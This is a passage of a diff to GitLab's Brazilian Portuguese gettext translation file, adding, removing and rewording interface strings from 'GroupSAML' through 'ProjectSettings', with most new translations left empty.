msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr "Grupos também podem ser aninhados criando %{subgroup_docs_link_start}su
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "Visitados frequentemente"
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr "Tem o e-mail de seus usuários"
-
msgid "Header logo was successfully removed."
msgstr "O logo do cabeçalho foi removido com sucesso."
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr "Importação expirou. A importação demorou mais de %{import_jobs_expir
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr "Importar/exportar ilustração"
-
msgid "ImportButtons|Connect repositories from"
msgstr "Conectar repositórios de"
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr "Informar aos usuários sem chaves SSH configuradas que eles não podem r
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr "Informações sobre modelos adicionais de Páginas e como instalá-los podem ser encontradas em nosso %{pages_getting_started_guide}."
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr "Arquivo de configuração de Insights inválido detectado"
-msgid "Invalid Login or password"
-msgstr "Login ou senha inválidos"
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr "Issues podem ser bugs, tarefas ou ideias a serem discutidas. Além disso
msgid "Issues closed"
msgstr "Issues fechadas"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "Issues com comentários, merge requests com diffs e comentários, etiquetas, marcos, snippets e outras entidades do projeto"
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr "É você"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Eventos para %{noteable_model_name} estão desabilitados."
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr "Dropdown de ações de etiqueta"
msgid "Label lists show all issues with the selected label."
msgstr "Listas de etiqueta mostram todas as issues com a etiqueta selecionada."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "A etiqueta foi criada"
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr "Saiba mais"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "Carregando estados de contribuição para membros de grupo"
@@ -18332,6 +18807,9 @@ msgstr "Gerenciar todas as notificações"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Gerencie aplicativos que podem utilizar o GitLab como um provedor OAuth e aplicativos que você autorizou a utilizar sua conta."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "Gerencie aplicativos que você autorizou a utilizar sua conta."
@@ -18371,6 +18849,9 @@ msgstr "Importação de arquivo de manifesto"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr "Marcar esta issue como uma duplicata de outra issue"
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr "Capacidade máxima"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Membros"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "Merge Request"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Aprovações de merge request"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Listas de marcos não estão disponíveis para a sua licença atual"
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr "Mais"
msgid "More Information"
msgstr "Mais informações"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr "Nome"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Nunca"
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr "Nova etiqueta"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "Novo Marco"
@@ -20367,6 +20857,9 @@ msgstr "Next"
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,8 +20974,8 @@ msgstr "Nenhum erro para exibir."
msgid "No estimate or time spent"
msgstr "Sem estimativa de tempo gasto"
-msgid "No file chosen"
-msgstr "Nenhum arquivo escolhido"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20529,6 +21025,9 @@ msgstr "Nenhuma licença. Todos os direitos reservados"
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "Nenhum modelo"
@@ -20787,6 +21289,26 @@ msgstr "Configuração de notificação - %{notification_title}"
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr "Oops, você tem certeza?"
msgid "Open"
msgstr "Abrir"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,12 +21827,15 @@ msgstr "Abrir barra lateral"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "Aberto"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "Aberto"
+
msgid "Opened MRs"
msgstr ""
@@ -21329,6 +21848,9 @@ msgstr "Aberto"
msgid "Opens in a new window"
msgstr "Abrir em nova janela"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Opções"
msgid "Or you can choose one of the suggested colors below"
msgstr "Ou você pode escolher uma das cores sugeridas abaixo"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Pacotes"
@@ -21974,11 +22517,20 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
-msgstr "rastro"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
msgid "Permissions"
msgstr "Permissões"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr "Commit"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr "Nome de branch ou tag existente"
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr "Parar pipeline #%{pipelineId}?"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr "Por favor, aceite os Termos de Serviço antes de continuar."
msgid "Please add a comment in the text area above"
msgstr "Por favor, adicione um comentário na área de texto acima"
-msgid "Please add a list to your board first"
-msgstr "Por favor adicione uma lista ao seu primeiro painel"
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,12 +23186,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Por favor, resolva o reCAPTCHA"
-
msgid "Please try again"
msgstr "Por favor, tente novamente"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr "Etiquetas priorizadas"
msgid "Prioritized label"
msgstr "Etiqueta priorizada"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "Privado"
@@ -23108,8 +23693,8 @@ msgstr "Fez uma contribuição privada"
msgid "Profiles|Main settings"
msgstr "Configurações principais"
-msgid "Profiles|No file chosen"
-msgstr "Nenhum arquivo escolhido"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "E-mail de notificação"
@@ -23498,6 +24083,9 @@ msgstr "Você atingiu seu limite de projetos"
msgid "ProjectOverview|You must sign in to star a project"
msgstr "Você precisa entrar para marcar um projeto como favorito"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "ID do Projeto: %{project_id}"
@@ -23513,50 +24101,83 @@ msgstr "%{service_title}: status desligado"
msgid "ProjectService|%{service_title}: status on"
msgstr "%{service_title}: status ligado"
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "Execute operações comuns no projeto GitLab: %{project_name}"
-msgid "ProjectService|To set up this service:"
-msgstr "Para configurar este serviço:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
-msgstr "Recursos adicionais de merge request que influenciam como e quando as merges serão executadas"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
msgstr "Todas as discussões devem ser resolvidas"
@@ -23609,26 +24230,29 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "Cada merge cria um commit de merge"
